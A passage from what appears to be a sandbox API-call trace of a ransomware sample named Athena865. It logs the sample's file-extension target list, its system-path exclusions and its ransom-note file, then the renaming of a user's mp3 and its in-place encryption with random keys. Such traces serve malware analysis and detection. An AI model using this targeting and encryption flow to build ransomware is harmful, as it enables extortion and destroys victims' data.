(lpString1="mp3", lpString2="$er") returned 1 [0102.268] lstrlenW (lpString="4dd") returned 3 [0102.268] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0102.268] lstrlenW (lpString="4dl") returned 3 [0102.268] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0102.268] lstrlenW (lpString="^^^") returned 3 [0102.268] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0102.268] lstrlenW (lpString="abs") returned 3 [0102.268] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0102.268] lstrlenW (lpString="abx") returned 3 [0102.268] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0102.268] lstrlenW (lpString="accdb") returned 5 [0102.268] lstrcmpiW (lpString1="0.mp3", lpString2="accdb") returned -1 [0102.268] lstrlenW (lpString="accdc") returned 5 [0102.269] lstrcmpiW (lpString1="0.mp3", lpString2="accdc") returned -1 [0102.269] lstrlenW (lpString="accde") returned 5 [0102.269] lstrcmpiW (lpString1="0.mp3", lpString2="accde") returned -1 [0102.269] lstrlenW (lpString="accdr") returned 5 [0102.269] lstrcmpiW (lpString1="0.mp3", lpString2="accdr") returned -1 [0102.269] lstrlenW (lpString="accdt") returned 5 [0102.269] lstrcmpiW (lpString1="0.mp3", lpString2="accdt") returned -1 [0102.269] lstrlenW (lpString="accdw") returned 5 [0102.269] lstrcmpiW (lpString1="0.mp3", lpString2="accdw") returned -1 [0102.269] lstrlenW (lpString="accft") returned 5 [0102.269] lstrcmpiW (lpString1="0.mp3", lpString2="accft") returned -1 [0102.269] lstrlenW (lpString="adb") returned 3 [0102.269] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0102.269] lstrlenW (lpString="adb") returned 3 [0102.269] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0102.269] lstrlenW (lpString="ade") returned 3 [0102.269] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0102.269] lstrlenW (lpString="adf") returned 3 [0102.269] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0102.269] lstrlenW (lpString="adn") returned 3 [0102.269] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0102.269] lstrlenW (lpString="adp") returned 3 [0102.269] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0102.269] lstrlenW (lpString="alf") returned 3 [0102.269] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0102.269] lstrlenW (lpString="ask") returned 3 [0102.269] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0102.269] lstrlenW (lpString="btr") returned 3 [0102.269] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0102.269] lstrlenW (lpString="cat") returned 3 [0102.269] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0102.269] lstrlenW (lpString="cdb") returned 3 [0102.269] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0102.270] lstrlenW (lpString="ckp") returned 3 [0102.270] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0102.270] lstrlenW (lpString="cma") returned 3 [0102.270] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0102.270] lstrlenW (lpString="cpd") returned 3 [0102.270] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0102.270] lstrlenW (lpString="dacpac") returned 6 [0102.270] lstrcmpiW (lpString1="f0.mp3", lpString2="dacpac") returned 1 [0102.270] lstrlenW (lpString="dad") returned 3 [0102.270] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0102.270] lstrlenW (lpString="dadiagrams") returned 10 [0102.270] lstrlenW (lpString="daschema") returned 8 [0102.270] lstrcmpiW (lpString1="r9f0.mp3", lpString2="daschema") returned 1 [0102.270] lstrlenW (lpString="db-journal") returned 10 [0102.270] lstrlenW (lpString="db-shm") returned 6 [0102.270] lstrcmpiW (lpString1="f0.mp3", lpString2="db-shm") returned 1 [0102.270] lstrlenW (lpString="db-wal") returned 6 [0102.270] lstrcmpiW (lpString1="f0.mp3", lpString2="db-wal") returned 1 [0102.270] lstrlenW (lpString="dbc") returned 3 [0102.270] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0102.270] lstrlenW (lpString="dbs") returned 3 [0102.270] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0102.270] lstrlenW (lpString="dbt") returned 3 [0102.270] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0102.270] lstrlenW (lpString="dbv") returned 3 [0102.270] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0102.270] lstrlenW (lpString="dbx") returned 3 [0102.270] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0102.270] lstrlenW (lpString="dcb") returned 3 [0102.270] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0102.270] lstrlenW (lpString="dct") returned 3 [0102.270] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0102.270] lstrlenW (lpString="dcx") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1 [0102.271] lstrlenW (lpString="ddl") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1 [0102.271] lstrlenW (lpString="dlis") returned 4 [0102.271] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1 [0102.271] lstrlenW (lpString="dp1") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1 [0102.271] lstrlenW (lpString="dqy") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1 [0102.271] lstrlenW (lpString="dsk") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1 [0102.271] lstrlenW (lpString="dsn") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1 [0102.271] lstrlenW (lpString="dtsx") returned 4 [0102.271] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1 [0102.271] lstrlenW (lpString="dxl") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1 [0102.271] lstrlenW (lpString="eco") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1 [0102.271] lstrlenW (lpString="ecx") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1 [0102.271] lstrlenW (lpString="edb") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1 [0102.271] lstrlenW (lpString="epim") returned 4 [0102.271] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1 [0102.271] lstrlenW (lpString="fcd") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1 [0102.271] lstrlenW (lpString="fdb") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1 [0102.271] lstrlenW (lpString="fic") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1 [0102.271] lstrlenW (lpString="flexolibrary") returned 12 [0102.271] lstrlenW (lpString="fm5") returned 3 [0102.271] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1 [0102.272] lstrlenW (lpString="fmp") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1 [0102.272] lstrlenW (lpString="fmp12") returned 5 [0102.272] lstrcmpiW (lpString1="0.mp3", lpString2="fmp12") returned -1 [0102.272] lstrlenW (lpString="fmpsl") returned 5 [0102.272] lstrcmpiW (lpString1="0.mp3", lpString2="fmpsl") returned -1 [0102.272] lstrlenW (lpString="fol") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1 [0102.272] lstrlenW (lpString="fp3") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1 [0102.272] lstrlenW (lpString="fp4") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1 [0102.272] lstrlenW (lpString="fp5") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1 [0102.272] lstrlenW (lpString="fp7") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1 [0102.272] lstrlenW (lpString="fpt") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1 [0102.272] lstrlenW (lpString="frm") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1 [0102.272] lstrlenW (lpString="gdb") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0102.272] lstrlenW (lpString="gdb") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0102.272] lstrlenW (lpString="grdb") returned 4 [0102.272] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1 [0102.272] lstrlenW (lpString="gwi") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1 [0102.272] lstrlenW (lpString="hdb") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1 [0102.272] lstrlenW (lpString="his") returned 3 [0102.272] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1 [0102.272] lstrlenW (lpString="ib") returned 2 [0102.273] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1 [0102.273] lstrlenW (lpString="idb") returned 3 [0102.273] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1 [0102.273] lstrlenW (lpString="ihx") returned 3 [0102.273] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1 [0102.273] lstrlenW (lpString="itdb") returned 4 [0102.273] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1 [0102.273] lstrlenW (lpString="itw") returned 3 [0102.273] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1 [0102.273] lstrlenW (lpString="jet") returned 3 [0102.273] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1 [0102.273] lstrlenW (lpString="jtx") returned 3 [0102.273] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1 [0102.273] lstrlenW (lpString="kdb") returned 3 [0102.273] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1 [0102.273] lstrlenW (lpString="kexi") returned 4 [0102.273] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1 [0102.273] lstrlenW (lpString="kexic") returned 5 [0102.273] lstrcmpiW (lpString1="0.mp3", lpString2="kexic") returned -1 [0102.273] lstrlenW (lpString="kexis") returned 5 [0102.273] lstrcmpiW (lpString1="0.mp3", lpString2="kexis") returned -1 [0102.273] lstrlenW (lpString="lgc") returned 3 [0102.273] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1 [0102.273] lstrlenW (lpString="lwx") returned 3 [0102.273] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1 [0102.273] lstrlenW (lpString="maf") returned 3 [0102.273] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1 [0102.273] lstrlenW (lpString="maq") returned 3 [0102.273] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1 [0102.273] lstrlenW (lpString="mar") returned 3 [0102.273] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1 [0102.273] lstrlenW (lpString="marshal") returned 7 [0102.273] lstrcmpiW (lpString1="9f0.mp3", lpString2="marshal") returned -1 [0102.273] lstrlenW (lpString="mas") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1 [0102.274] lstrlenW (lpString="mav") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1 [0102.274] lstrlenW (lpString="maw") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1 [0102.274] lstrlenW (lpString="mdbhtml") returned 7 [0102.274] lstrcmpiW (lpString1="9f0.mp3", lpString2="mdbhtml") returned -1 [0102.274] lstrlenW (lpString="mdn") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1 [0102.274] lstrlenW (lpString="mdt") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1 [0102.274] lstrlenW (lpString="mfd") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1 [0102.274] lstrlenW (lpString="mpd") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1 [0102.274] lstrlenW (lpString="mrg") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1 [0102.274] lstrlenW (lpString="mud") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1 [0102.274] lstrlenW (lpString="mwb") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1 [0102.274] lstrlenW (lpString="myd") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1 [0102.274] lstrlenW (lpString="ndf") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1 [0102.274] lstrlenW (lpString="nnt") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1 [0102.274] lstrlenW (lpString="nrmlib") returned 6 [0102.274] lstrcmpiW (lpString1="f0.mp3", lpString2="nrmlib") returned -1 [0102.274] lstrlenW (lpString="ns2") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1 [0102.274] lstrlenW (lpString="ns3") returned 3 [0102.274] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1 [0102.275] lstrlenW (lpString="ns4") returned 3 [0102.275] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1 [0102.275] lstrlenW (lpString="nsf") returned 3 [0102.275] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1 [0102.275] lstrlenW (lpString="nv") returned 2 [0102.275] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1 [0102.275] lstrlenW (lpString="nv2") returned 3 [0102.275] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1 [0102.275] lstrlenW (lpString="nwdb") returned 4 [0102.275] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1 [0102.275] lstrlenW (lpString="nyf") returned 3 [0102.275] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1 [0102.275] lstrlenW (lpString="odb") returned 3 [0102.275] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0102.275] lstrlenW (lpString="odb") returned 3 [0102.275] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0102.275] lstrlenW (lpString="oqy") returned 3 [0102.275] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1 [0102.275] lstrlenW (lpString="ora") returned 3 [0102.275] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1 [0102.275] lstrlenW (lpString="orx") returned 3 [0102.275] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1 [0102.275] lstrlenW (lpString="owc") returned 3 [0102.275] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1 [0102.275] lstrlenW (lpString="p96") returned 3 [0102.275] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1 [0102.275] lstrlenW (lpString="p97") returned 3 [0102.275] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1 [0102.275] lstrlenW (lpString="pan") returned 3 [0102.276] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1 [0102.276] lstrlenW (lpString="pdb") returned 3 [0102.276] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1 [0102.276] lstrlenW (lpString="pdm") returned 3 [0102.276] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1 [0102.276] lstrlenW (lpString="pnz") returned 3 [0102.276] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1 [0102.276] lstrlenW (lpString="qry") returned 3 [0102.276] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1 [0102.277] lstrlenW (lpString="qvd") returned 3 [0102.277] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1 [0102.279] lstrlenW (lpString="rbf") returned 3 [0102.280] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1 [0102.280] lstrlenW (lpString="rctd") returned 4 [0102.280] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1 [0102.281] lstrlenW (lpString="rod") returned 3 [0102.281] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1 [0102.281] lstrlenW (lpString="rodx") returned 4 [0102.281] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1 [0102.282] lstrlenW (lpString="rpd") returned 3 [0102.282] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1 [0102.283] lstrlenW (lpString="rsd") returned 3 [0102.283] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1 [0102.283] lstrlenW (lpString="sas7bdat") returned 8 [0102.283] lstrcmpiW (lpString1="r9f0.mp3", lpString2="sas7bdat") returned -1 [0102.284] lstrlenW (lpString="sbf") returned 3 [0102.285] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1 [0102.285] lstrlenW (lpString="scx") returned 3 [0102.285] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1 [0102.285] lstrlenW (lpString="sdb") returned 3 [0102.285] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1 [0102.285] lstrlenW (lpString="sdc") returned 3 [0102.285] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1 [0102.285] lstrlenW (lpString="sdf") returned 3 [0102.285] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1 [0102.285] lstrlenW (lpString="sis") returned 3 [0102.285] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1 [0102.285] lstrlenW (lpString="spq") returned 3 [0102.285] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1 [0102.285] lstrlenW (lpString="te") returned 2 [0102.285] lstrcmpiW (lpString1="p3", lpString2="te") returned -1 [0102.285] lstrlenW (lpString="teacher") returned 7 [0102.285] lstrcmpiW (lpString1="9f0.mp3", lpString2="teacher") returned -1 [0102.285] lstrlenW (lpString="tmd") returned 3 [0102.285] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1 [0102.286] lstrlenW (lpString="tps") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1 [0102.286] lstrlenW (lpString="trc") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0102.286] lstrlenW (lpString="trc") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0102.286] lstrlenW (lpString="trm") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1 [0102.286] lstrlenW (lpString="udb") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1 [0102.286] lstrlenW (lpString="udl") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1 [0102.286] lstrlenW (lpString="usr") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1 [0102.286] lstrlenW (lpString="v12") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1 [0102.286] lstrlenW (lpString="vis") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1 [0102.286] lstrlenW (lpString="vpd") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1 [0102.286] lstrlenW (lpString="vvv") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1 [0102.286] lstrlenW (lpString="wdb") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1 [0102.286] lstrlenW (lpString="wmdb") returned 4 [0102.286] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1 [0102.286] lstrlenW (lpString="wrk") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1 [0102.286] lstrlenW (lpString="xdb") returned 3 [0102.286] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1 [0102.286] lstrlenW (lpString="xld") returned 3 [0102.287] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1 [0102.287] lstrlenW (lpString="xmlff") returned 5 [0102.287] lstrcmpiW (lpString1="0.mp3", lpString2="xmlff") returned -1 [0102.287] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\ar9f0.mp3.Athena865") returned 93 [0102.287] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\ar9f0.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\ar9f0.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\ar9f0.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\ar9f0.mp3.athena865"), dwFlags=0x1) returned 1 [0102.287] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\ar9f0.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\ar9f0.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.288] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20469) returned 1 [0102.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.288] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.289] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.289] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.289] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5300, lpName=0x0) returned 0x17c [0102.289] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5300) returned 0x100000 [0102.290] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.291] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.291] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x527fa8 [0102.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527fa8 | out: hHeap=0x4f0000) returned 1 [0102.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0102.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0102.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.292] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.292] CloseHandle (hObject=0x17c) returned 1 [0102.292] CloseHandle (hObject=0x154) returned 1 [0102.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.294] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6323b00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc6323b00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.294] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.294] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d46a00, ftCreationTime.dwHighDateTime=0x1d4ca04, ftLastAccessTime.dwLowDateTime=0xae566640, ftLastAccessTime.dwHighDateTime=0x1d4d396, ftLastWriteTime.dwLowDateTime=0xae566640, ftLastWriteTime.dwHighDateTime=0x1d4d396, nFileSizeHigh=0x0, nFileSizeLow=0x1c65, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="huFe9k28gBkaRJr2.mp3", cAlternateFileName="HUFE9K~1.MP3")) returned 1 [0102.294] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.294] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.294] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2=".") returned 1 [0102.294] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2="..") returned 1 [0102.294] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2="windows") returned -1 [0102.294] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2="bootmgr") returned 1 [0102.294] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2="temp") returned -1 [0102.294] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2="pagefile.sys") returned -1 [0102.294] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2="boot") returned 1 [0102.294] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2="ids.txt") returned -1 [0102.295] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2="ntuser.dat") returned -1 [0102.295] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2="perflogs") returned -1 [0102.295] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2="MSBuild") returned -1 [0102.295] lstrlenW (lpString="huFe9k28gBkaRJr2.mp3") returned 20 [0102.295] lstrcpyW (in: lpString1=0x241e8dc, lpString2="huFe9k28gBkaRJr2.mp3" | out: lpString1="huFe9k28gBkaRJr2.mp3") returned="huFe9k28gBkaRJr2.mp3" [0102.295] lstrlenW (lpString="huFe9k28gBkaRJr2.mp3") returned 20 [0102.295] lstrlenW (lpString="Athena865") returned 9 [0102.295] lstrcmpiW (lpString1="aRJr2.mp3", lpString2="Athena865") returned -1 [0102.295] lstrlenW (lpString=".dll") returned 4 [0102.295] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2=".dll") returned 1 [0102.295] lstrlenW (lpString=".lnk") returned 4 [0102.295] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2=".lnk") returned 1 [0102.295] lstrlenW (lpString=".ini") returned 4 [0102.295] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2=".ini") returned 1 [0102.295] lstrlenW (lpString=".sys") returned 4 [0102.295] lstrcmpiW (lpString1="huFe9k28gBkaRJr2.mp3", lpString2=".sys") returned 1 [0102.295] lstrlenW (lpString="huFe9k28gBkaRJr2.mp3") returned 20 [0102.295] lstrlenW (lpString="bak") returned 3 [0102.295] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0102.295] lstrlenW (lpString="ba_") returned 3 [0102.295] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0102.295] lstrlenW (lpString="dbb") returned 3 [0102.295] lstrcmpiW 